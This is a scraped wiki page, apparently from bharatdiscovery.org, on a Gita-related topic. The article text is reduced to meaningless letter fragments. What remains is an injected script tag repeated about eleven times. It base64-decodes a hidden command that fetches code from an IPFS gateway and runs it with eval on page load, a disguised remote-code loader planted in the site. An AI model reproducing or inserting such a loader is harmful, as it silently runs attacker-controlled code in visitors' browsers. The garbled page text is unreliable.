<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=गीता_कर्म_जिज्ञासा&oldid=657611"